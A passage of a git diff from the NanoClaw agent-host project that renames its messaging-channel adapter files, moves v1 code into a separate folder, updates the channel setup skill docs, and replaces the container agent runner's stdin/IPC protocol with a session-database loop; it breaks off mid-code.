+- src/container-runtime.ts | 10 +- src/db/agent-groups.ts | 2 +- src/db/messaging-groups.ts | 2 +- src/db/sessions.ts | 2 +- src/delivery.ts | 4 +- src/env.ts | 4 +- src/host-core.test.ts | 12 +- src/host-sweep.ts | 4 +- src/index-v2.ts | 180 - src/index.ts | 783 +--- src/mount-security.ts | 80 +- src/router-v2.ts | 111 - src/router.ts | 136 +- src/session-manager.ts | 2 +- src/state-sqlite.ts | 48 +- src/types-v2.ts | 90 - src/types.ts | 180 +- src/{ => v1}/channels/registry.test.ts | 0 src/{ => v1}/channels/registry.ts | 0 src/v1/config.ts | 62 + src/{ => v1}/container-runner.test.ts | 0 src/v1/container-runner.ts | 677 +++ src/v1/container-runtime.test.ts | 147 + src/v1/container-runtime.ts | 80 + src/{ => v1}/db-migration.test.ts | 0 src/{ => v1}/db.test.ts | 0 src/{ => v1}/db.ts | 0 src/v1/env.ts | 42 + src/{ => v1}/formatting.test.ts | 0 src/v1/group-folder.test.ts | 35 + src/v1/group-folder.ts | 44 + src/{ => v1}/group-queue.test.ts | 0 src/{ => v1}/group-queue.ts | 0 src/v1/index.ts | 647 +++ src/{ => v1}/ipc-auth.test.ts | 0 src/{ => v1}/ipc.ts | 0 src/{ => v1}/logger.ts | 0 src/v1/mount-security.ts | 405 ++ src/{ => v1}/remote-control.test.ts | 0 src/{ => v1}/remote-control.ts | 0 src/v1/router.ts | 43 + src/{ => v1}/routing.test.ts | 0 src/{ => v1}/sender-allowlist.test.ts | 0 src/{ => v1}/sender-allowlist.ts | 0 src/{ => v1}/session-cleanup.ts | 0 src/{ => v1}/task-scheduler.test.ts | 0 src/{ => v1}/task-scheduler.ts | 0 src/v1/timezone.test.ts | 64 + src/v1/timezone.ts | 37 + src/v1/types.ts | 112 + 96 files changed, 7904 insertions(+), 3040 deletions(-) create mode 100644 .claude/scheduled_tasks.lock delete mode 100644 container/agent-runner/src/index-v2.ts create mode 100644 container/agent-runner/src/v1/index.ts rename container/agent-runner/src/{ => v1}/ipc-mcp-stdio.ts (100%) rename container/agent-runner/src/{ => v1}/mcp-tools.ts (100%) rename src/channels/{discord-v2.ts => discord.ts} (100%) rename src/channels/{gchat-v2.ts => gchat.ts} (100%) rename src/channels/{github-v2.ts => github.ts} (100%) rename src/channels/{imessage-v2.ts => imessage.ts} (90%) rename src/channels/{linear-v2.ts => linear.ts} (100%) rename src/channels/{matrix-v2.ts => matrix.ts} (100%) rename src/channels/{resend-v2.ts => resend.ts} (100%) rename src/channels/{slack-v2.ts => slack.ts} (100%) rename src/channels/{teams-v2.ts => teams.ts} (100%) rename src/channels/{telegram-v2.ts => telegram.ts} (100%) rename src/channels/{webex-v2.ts => webex.ts} (100%) rename src/channels/{whatsapp-cloud-v2.ts => whatsapp-cloud.ts} (84%) delete mode 100644 src/container-runner-v2.ts delete mode 100644 src/index-v2.ts delete mode 100644 src/router-v2.ts delete mode 100644 src/types-v2.ts rename src/{ => v1}/channels/registry.test.ts (100%) rename src/{ => v1}/channels/registry.ts (100%) create mode 100644 src/v1/config.ts rename src/{ => v1}/container-runner.test.ts (100%) create mode 100644 src/v1/container-runner.ts create mode 100644 src/v1/container-runtime.test.ts create mode 100644 src/v1/container-runtime.ts rename src/{ => v1}/db-migration.test.ts (100%) rename src/{ => v1}/db.test.ts (100%) rename src/{ => v1}/db.ts (100%) create mode 100644 src/v1/env.ts rename src/{ => v1}/formatting.test.ts (100%) create mode 100644 src/v1/group-folder.test.ts create mode 100644 src/v1/group-folder.ts rename src/{ => v1}/group-queue.test.ts (100%) rename src/{ => v1}/group-queue.ts (100%) create mode 100644 src/v1/index.ts rename src/{ => v1}/ipc-auth.test.ts (100%) rename src/{ => v1}/ipc.ts (100%) rename src/{ => v1}/logger.ts (100%) create mode 100644 src/v1/mount-security.ts rename src/{ => v1}/remote-control.test.ts (100%) rename src/{ => v1}/remote-control.ts (100%) create mode 100644 src/v1/router.ts rename src/{ => v1}/routing.test.ts (100%) rename src/{ => v1}/sender-allowlist.test.ts (100%) rename src/{ => v1}/sender-allowlist.ts (100%) rename src/{ => v1}/session-cleanup.ts (100%) rename src/{ => v1}/task-scheduler.test.ts (100%) rename src/{ => v1}/task-scheduler.ts (100%) create mode 100644 src/v1/timezone.test.ts create mode 100644 src/v1/timezone.ts create mode 100644 src/v1/types.ts diff --git a/.claude/scheduled_tasks.lock b/.claude/scheduled_tasks.lock new file mode 100644 index 0000000..d8a755d --- /dev/null +++ b/.claude/scheduled_tasks.lock @@ -0,0 +1 @@ +{"sessionId":"56e89c33-b844-4e6a-8df3-2210b2fb4a4d","pid":47993,"acquiredAt":1775696579277} \ No newline at end of file diff --git a/.claude/skills/add-gchat-v2/SKILL.md b/.claude/skills/add-gchat-v2/SKILL.md index cf1a573..aa4a740 100644 --- a/.claude/skills/add-gchat-v2/SKILL.md +++ b/.claude/skills/add-gchat-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/gchat-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/gchat.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/gchat Uncomment the Google Chat import in `src/channels/index.ts`: ```typescript -import './gchat-v2.js'; +import './gchat.js'; ``` ### Build @@ -72,7 +72,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './gchat-v2.js'` in `src/channels/index.ts` +1. Comment out `import './gchat.js'` in `src/channels/index.ts` 2. Remove `GCHAT_CREDENTIALS` from `.env` 3. `npm uninstall @chat-adapter/gchat` 4. Rebuild and restart diff --git a/.claude/skills/add-github-v2/SKILL.md b/.claude/skills/add-github-v2/SKILL.md index 44e7a41..f2e7276 100644 --- a/.claude/skills/add-github-v2/SKILL.md +++ b/.claude/skills/add-github-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The age ## Phase 1: Pre-flight -Check if `src/channels/github-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/github.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/github Uncomment the GitHub import in `src/channels/index.ts`: ```typescript -import './github-v2.js'; +import './github.js'; ``` ### Build @@ -74,7 +74,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './github-v2.js'` in `src/channels/index.ts` +1. Comment out `import './github.js'` in `src/channels/index.ts` 2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @chat-adapter/github` 4. Rebuild and restart diff --git a/.claude/skills/add-imessage-v2/SKILL.md b/.claude/skills/add-imessage-v2/SKILL.md index 33121ee..6ac1a6f 100644 --- a/.claude/skills/add-imessage-v2/SKILL.md +++ b/.claude/skills/add-imessage-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Suppo ## Phase 1: Pre-flight -Check if `src/channels/imessage-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/imessage.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install chat-adapter-imessage Uncomment the iMessage import in `src/channels/index.ts`: ```typescript -import './imessage-v2.js'; +import './imessage.js'; ``` ### Build @@ -80,7 +80,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './imessage-v2.js'` in `src/channels/index.ts` +1. Comment out `import './imessage.js'` in `src/channels/index.ts` 2. Remove iMessage env vars from `.env` 3. `npm uninstall chat-adapter-imessage` 4. Rebuild and restart diff --git a/.claude/skills/add-linear-v2/SKILL.md b/.claude/skills/add-linear-v2/SKILL.md index 9ba6f8a..d4b1933 100644 --- a/.claude/skills/add-linear-v2/SKILL.md +++ b/.claude/skills/add-linear-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Linear support to NanoClaw v2 using the Chat SDK bridge. The age ## Phase 1: Pre-flight -Check if `src/channels/linear-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/linear.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/linear Uncomment the Linear import in `src/channels/index.ts`: ```typescript -import './linear-v2.js'; +import './linear.js'; ``` ### Build @@ -71,7 +71,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './linear-v2.js'` in `src/channels/index.ts` +1. Comment out `import './linear.js'` in `src/channels/index.ts` 2. Remove `LINEAR_API_KEY` and `LINEAR_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @chat-adapter/linear` 4. Rebuild and restart diff --git a/.claude/skills/add-matrix-v2/SKILL.md b/.claude/skills/add-matrix-v2/SKILL.md index 1e4848f..8684cf1 100644 --- a/.claude/skills/add-matrix-v2/SKILL.md +++ b/.claude/skills/add-matrix-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Matrix support to NanoClaw v2 using the Chat SDK bridge. Works w ## Phase 1: Pre-flight -Check if `src/channels/matrix-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/matrix.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @beeper/chat-adapter-matrix Uncomment the Matrix import in `src/channels/index.ts`: ```typescript -import './matrix-v2.js'; +import './matrix.js'; ``` ### Build @@ -71,7 +71,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './matrix-v2.js'` in `src/channels/index.ts` +1. Comment out `import './matrix.js'` in `src/channels/index.ts` 2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` 3. `npm uninstall @beeper/chat-adapter-matrix` 4. Rebuild and restart diff --git a/.claude/skills/add-resend-v2/SKILL.md b/.claude/skills/add-resend-v2/SKILL.md index f858037..ae25e3f 100644 --- a/.claude/skills/add-resend-v2/SKILL.md +++ b/.claude/skills/add-resend-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds email support via Resend to NanoClaw v2 using the Chat SDK bridg ## Phase 1: Pre-flight -Check if `src/channels/resend-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/resend.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @resend/chat-sdk-adapter Uncomment the Resend import in `src/channels/index.ts`: ```typescript -import './resend-v2.js'; +import './resend.js'; ``` ### Build @@ -73,7 +73,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './resend-v2.js'` in `src/channels/index.ts` +1. Comment out `import './resend.js'` in `src/channels/index.ts` 2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @resend/chat-sdk-adapter` 4. Rebuild and restart diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md index c5b5a17..2d03afe 100644 --- a/.claude/skills/add-slack-v2/SKILL.md +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Slack support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/slack-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/slack.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/slack Uncomment the Slack import in `src/channels/index.ts`: ```typescript -import './slack-v2.js'; +import './slack.js'; ``` ### Build @@ -75,7 +75,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './slack-v2.js'` in `src/channels/index.ts` +1. Comment out `import './slack.js'` in `src/channels/index.ts` 2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` 3. `npm uninstall @chat-adapter/slack` 4. Rebuild and restart diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index 78f9650..2976883 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Microsoft Teams support to NanoClaw v2 using the Chat SDK bridge ## Phase 1: Pre-flight -Check if `src/channels/teams-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/teams.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/teams Uncomment the Teams import in `src/channels/index.ts`: ```typescript -import './teams-v2.js'; +import './teams.js'; ``` ### Build @@ -69,7 +69,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './teams-v2.js'` in `src/channels/index.ts` +1. Comment out `import './teams.js'` in `src/channels/index.ts` 2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` 3. `npm uninstall @chat-adapter/teams` 4. Rebuild and restart diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md index 7bcc079..754a948 100644 --- a/.claude/skills/add-telegram-v2/SKILL.md +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Telegram support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/telegram-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/telegram.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/telegram Uncomment the Telegram import in `src/channels/index.ts`: ```typescript -import './telegram-v2.js'; +import './telegram.js'; ``` ### Build @@ -76,7 +76,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './telegram-v2.js'` in `src/channels/index.ts` +1. Comment out `import './telegram.js'` in `src/channels/index.ts` 2. Remove `TELEGRAM_BOT_TOKEN` from `.env` 3. `npm uninstall @chat-adapter/telegram` 4. Rebuild and restart diff --git a/.claude/skills/add-webex-v2/SKILL.md b/.claude/skills/add-webex-v2/SKILL.md index 65f0dcf..a11da4c 100644 --- a/.claude/skills/add-webex-v2/SKILL.md +++ b/.claude/skills/add-webex-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/webex-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/webex.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @bitbasti/chat-adapter-webex Uncomment the Webex import in `src/channels/index.ts`: ```typescript -import './webex-v2.js'; +import './webex.js'; ``` ### Build @@ -69,7 +69,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './webex-v2.js'` in `src/channels/index.ts` +1. Comment out `import './webex.js'` in `src/channels/index.ts` 2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @bitbasti/chat-adapter-webex` 4. Rebuild and restart diff --git a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md index 32a08ae..0ebc0c0 100644 --- a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md +++ b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds WhatsApp support via the official Meta WhatsApp Business Cloud A ## Phase 1: Pre-flight -Check if `src/channels/whatsapp-cloud-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/whatsapp-cloud.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/whatsapp Uncomment the WhatsApp Cloud API import in `src/channels/index.ts`: ```typescript -import './whatsapp-cloud-v2.js'; +import './whatsapp-cloud.js'; ``` ### Build @@ -76,7 +76,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './whatsapp-cloud-v2.js'` in `src/channels/index.ts` +1. Comment out `import './whatsapp-cloud.js'` in `src/channels/index.ts` 2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` 3. `npm uninstall @chat-adapter/whatsapp` 4. Rebuild and restart diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index 200938d..77f8341 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -242,26 +242,43 @@ Verify the proxy starts: `npm run dev` should show "Credential proxy listening" ## 5. Set Up Channels AskUserQuestion (multiSelect): Which messaging channels do you want to enable? -- WhatsApp (authenticates via QR code or pairing code) -- Telegram (authenticates via bot token from @BotFather) -- Slack (authenticates via Slack app with Socket Mode) -- Discord (authenticates via Discord bot token) +- Discord (bot token + public key) +- Slack (bot token + signing secret) +- Telegram (bot token from @BotFather) +- GitHub (PR/issue comment threads) +- Linear (issue comment threads) +- Microsoft Teams (Azure Bot) +- Google Chat (service account) +- WhatsApp Cloud API (Meta Business API) +- WhatsApp Baileys (QR code / pairing code) +- Resend (email) +- Matrix (any homeserver) +- Webex (bot token) +- iMessage (macOS local or Photon API) -**Delegate to each selected channel's own skill.** Each channel skill handles its own code installation, authentication, registration, and JID resolution. This avoids duplicating channel-specific logic and ensures JIDs are always correct. +**Delegate to each selected channel's own skill.** Each channel skill handles its own package installation, authentication, registration, and configuration. This avoids duplicating channel-specific logic. For each selected channel, invoke its skill: -- **WhatsApp:** Invoke `/add-whatsapp` -- **Telegram:** Invoke `/add-telegram` -- **Slack:** Invoke `/add-slack` - **Discord:** Invoke `/add-discord` +- **Slack:** Invoke `/add-slack-v2` +- **Telegram:** Invoke `/add-telegram-v2` +- **GitHub:** Invoke `/add-github-v2` +- **Linear:** Invoke `/add-linear-v2` +- **Microsoft Teams:** Invoke `/add-teams-v2` +- **Google Chat:** Invoke `/add-gchat-v2` +- **WhatsApp Cloud API:** Invoke `/add-whatsapp-cloud-v2` +- **WhatsApp Baileys:** Invoke `/add-whatsapp` +- **Resend:** Invoke `/add-resend-v2` +- **Matrix:** Invoke `/add-matrix-v2` +- **Webex:** Invoke `/add-webex-v2` +- **iMessage:** Invoke `/add-imessage-v2` Each skill will: -1. Install the channel code (via `git merge` of the skill branch) -2. Collect credentials/tokens and write to `.env` -3. Authenticate (WhatsApp QR/pairing, or verify token-based connection) -4. Register the chat with the correct JID format -5. Build and verify +1. Install the Chat SDK adapter package +2. Uncomment the channel import in `src/channels/index.ts` +3. Collect credentials/tokens and write to `.env` +4. Build and verify **After all channel skills complete**, install dependencies and rebuild — channel merges may introduce new packages: diff --git a/container/agent-runner/src/index-v2.ts b/container/agent-runner/src/index-v2.ts deleted file mode 100644 index db6523a..0000000 --- a/container/agent-runner/src/index-v2.ts +++ /dev/null @@ -1,96 +0,0 @@ -/** - * NanoClaw Agent Runner v2 - * - * Runs inside a container. All IO goes through the session DB. - * No stdin, no stdout markers, no IPC files. - * - * Config: - * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) - * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) - * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving - * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks - * - * Mount structure: - * /workspace/ - * session.db ← session SQLite DB - * outbox/ ← outbound files - * agent/ ← agent group folder (CLAUDE.md, skills, working files) - * .claude/ ← Claude SDK session data - */ - -import fs from 'fs'; -import path from 'path'; -import { fileURLToPath } from 'url'; - -import { createProvider, type ProviderName } from './providers/factory.js'; -import { runPollLoop } from './poll-loop.js'; - -function log(msg: string): void { - console.error(`[agent-runner] ${msg}`); -} - -const CWD = '/workspace/agent'; -const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; - -async function main(): Promise { - const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; - const assistantName = process.env.NANOCLAW_ASSISTANT_NAME; - - log(`Starting v2 agent-runner (provider: ${providerName})`); - - const provider = createProvider(providerName, { assistantName }); - - // Load global CLAUDE.md as additional system context - let systemPrompt: string | undefined; - if (fs.existsSync(GLOBAL_CLAUDE_MD)) { - systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); - log('Loaded global CLAUDE.md'); - } - - // Discover additional directories mounted at /workspace/extra/* - const additionalDirectories: string[] = []; - const extraBase = '/workspace/extra'; - if (fs.existsSync(extraBase)) { - for (const entry of fs.readdirSync(extraBase)) { - const fullPath = path.join(extraBase, entry); - if (fs.statSync(fullPath).isDirectory()) { - additionalDirectories.push(fullPath); - } - } - if (additionalDirectories.length > 0) { - log(`Additional directories: ${additionalDirectories.join(', ')}`); - } - } - - // MCP server path - const __dirname = path.dirname(fileURLToPath(import.meta.url)); - const mcpServerPath = path.join(__dirname, 'mcp-tools', 'index.js'); - - // SDK env - const env: Record = { - ...process.env, - CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', - }; - - await runPollLoop({ - provider, - cwd: CWD, - mcpServers: { - nanoclaw: { - command: 'node', - args: [mcpServerPath], - env: { - SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', - }, - }, - }, - systemPrompt, - env, - additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, - }); -} - -main().catch((err) => { - log(`Fatal error: ${err instanceof Error ? err.message : String(err)}`); - process.exit(1); -}); diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 7e739c7..db6523a 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -1,736 +1,96 @@ /** - * NanoClaw Agent Runner - * Runs inside a container, receives config via stdin, outputs result to stdout + * NanoClaw Agent Runner v2 * - * Input protocol: - * Stdin: Full ContainerInput JSON (read until EOF, like before) - * IPC: Follow-up messages written as JSON files to /workspace/ipc/input/ - * Files: {type:"message", text:"..."}.json — polled and consumed - * Sentinel: /workspace/ipc/input/_close — signals session end + * Runs inside a container. All IO goes through the session DB. + * No stdin, no stdout markers, no IPC files. * - * Stdout protocol: - * Each result is wrapped in OUTPUT_START_MARKER / OUTPUT_END_MARKER pairs. - * Multiple results may be emitted (one per agent teams result). - * Final marker after loop ends signals completion. + * Config: + * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) + * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) + * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving + * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks + * + * Mount structure: + * /workspace/ + * session.db ← session SQLite DB + * outbox/ ← outbound files + * agent/ ← agent group folder (CLAUDE.md, skills, working files) + * .claude/ ← Claude SDK session data */ import fs from 'fs'; import path from 'path'; -import { execFile } from 'child_process'; -import { - query, - HookCallback, - PreCompactHookInput, -} from '@anthropic-ai/claude-agent-sdk'; import { fileURLToPath } from 'url'; -interface ContainerInput { - prompt: string; - sessionId?: string; - groupFolder: string; - chatJid: string; - isMain: boolean; - isScheduledTask?: boolean; - assistantName?: string; - script?: string; +import { createProvider, type ProviderName } from './providers/factory.js'; +import { runPollLoop } from './poll-loop.js'; + +function log(msg: string): void { + console.error(`[agent-runner] ${msg}`); } -interface ContainerOutput { - status: 'success' | 'error'; - result: string | null; - newSessionId?: string; - error?: string; -} +const CWD = '/workspace/agent'; +const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; -interface SessionEntry { - sessionId: string; - fullPath: string; - summary: string; - firstPrompt: string; -} +async function main(): Promise { + const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; + const assistantName = process.env.NANOCLAW_ASSISTANT_NAME; -interface SessionsIndex { - entries: SessionEntry[]; -} + log(`Starting v2 agent-runner (provider: ${providerName})`); -interface SDKUserMessage { - type: 'user'; - message: { role: 'user'; content: string }; - parent_tool_use_id: null; - session_id: string; -} + const provider = createProvider(providerName, { assistantName }); -const IPC_INPUT_DIR = '/workspace/ipc/input'; -const IPC_INPUT_CLOSE_SENTINEL = path.join(IPC_INPUT_DIR, '_close'); -const IPC_POLL_MS = 500; - -/** - * Push-based async iterable for streaming user messages to the SDK. - * Keeps the iterable alive until end() is called, preventing isSingleUserTurn. - */ -class MessageStream { - private queue: SDKUserMessage[] = []; - private waiting: (() => void) | null = null; - private done = false; - - push(text: string): void { - this.queue.push({ - type: 'user', - message: { role: 'user', content: text }, - parent_tool_use_id: null, - session_id: '', - }); - this.waiting?.(); - } - - end(): void { - this.done = true; - this.waiting?.(); - } - - async *[Symbol.asyncIterator](): AsyncGenerator { - while (true) { - while (this.queue.length > 0) { - yield this.queue.shift()!; - } - if (this.done) return; - await new Promise((r) => { - this.waiting = r; - }); - this.waiting = null; - } - } -} - -async function readStdin(): Promise { - return new Promise((resolve, reject) => { - let data = ''; - process.stdin.setEncoding('utf8'); - process.stdin.on('data', (chunk) => { - data += chunk; - }); - process.stdin.on('end', () => resolve(data)); - process.stdin.on('error', reject); - }); -} - -const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; -const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; - -function writeOutput(output: ContainerOutput): void { - console.log(OUTPUT_START_MARKER); - console.log(JSON.stringify(output)); - console.log(OUTPUT_END_MARKER); -} - -function log(message: string): void { - console.error(`[agent-runner] ${message}`); -} - -function getSessionSummary( - sessionId: string, - transcriptPath: string, -): string | null { - const projectDir = path.dirname(transcriptPath); - const indexPath = path.join(projectDir, 'sessions-index.json'); - - if (!fs.existsSync(indexPath)) { - log(`Sessions index not found at ${indexPath}`); - return null; - } - - try { - const index: SessionsIndex = JSON.parse( - fs.readFileSync(indexPath, 'utf-8'), - ); - const entry = index.entries.find((e) => e.sessionId === sessionId); - if (entry?.summary) { - return entry.summary; - } - } catch (err) { - log( - `Failed to read sessions index: ${err instanceof Error ? err.message : String(err)}`, - ); - } - - return null; -} - -/** - * Archive the full transcript to conversations/ before compaction. - */ -function createPreCompactHook(assistantName?: string): HookCallback { - return async (input, _toolUseId, _context) => { - const preCompact = input as PreCompactHookInput; - const transcriptPath = preCompact.transcript_path; - const sessionId = preCompact.session_id; - - if (!transcriptPath || !fs.existsSync(transcriptPath)) { - log('No transcript found for archiving'); - return {}; - } - - try { - const content = fs.readFileSync(transcriptPath, 'utf-8'); - const messages = parseTranscript(content); - - if (messages.length === 0) { - log('No messages to archive'); - return {}; - } - - const summary = getSessionSummary(sessionId, transcriptPath); - const name = summary ? sanitizeFilename(summary) : generateFallbackName(); - - const conversationsDir = '/workspace/group/conversations'; - fs.mkdirSync(conversationsDir, { recursive: true }); - - const date = new Date().toISOString().split('T')[0]; - const filename = `${date}-${name}.md`; - const filePath = path.join(conversationsDir, filename); - - const markdown = formatTranscriptMarkdown( - messages, - summary, - assistantName, - ); - fs.writeFileSync(filePath, markdown); - - log(`Archived conversation to ${filePath}`); - } catch (err) { - log( - `Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`, - ); - } - - return {}; - }; -} - -function sanitizeFilename(summary: string): string { - return summary - .toLowerCase() - .replace(/[^a-z0-9]+/g, '-') - .replace(/^-+|-+$/g, '') - .slice(0, 50); -} - -function generateFallbackName(): string { - const time = new Date(); - return `conversation-${time.getHours().toString().padStart(2, '0')}${time.getMinutes().toString().padStart(2, '0')}`; -} - -interface ParsedMessage { - role: 'user' | 'assistant'; - content: string; -} - -function parseTranscript(content: string): ParsedMessage[] { - const messages: ParsedMessage[] = []; - - for (const line of content.split('\n')) { - if (!line.trim()) continue; - try { - const entry = JSON.parse(line); - if (entry.type === 'user' && entry.message?.content) { - const text = - typeof entry.message.content === 'string' - ? entry.message.content - : entry.message.content - .map((c: { text?: string }) => c.text || '') - .join(''); - if (text) messages.push({ role: 'user', content: text }); - } else if (entry.type === 'assistant' && entry.message?.content) { - const textParts = entry.message.content - .filter((c: { type: string }) => c.type === 'text') - .map((c: { text: string }) => c.text); - const text = textParts.join(''); - if (text) messages.push({ role: 'assistant', content: text }); - } - } catch {} - } - - return messages; -} - -function formatTranscriptMarkdown( - messages: ParsedMessage[], - title?: string | null, - assistantName?: string, -): string { - const now = new Date(); - const formatDateTime = (d: Date) => - d.toLocaleString('en-US', { - month: 'short', - day: 'numeric', - hour: 'numeric', - 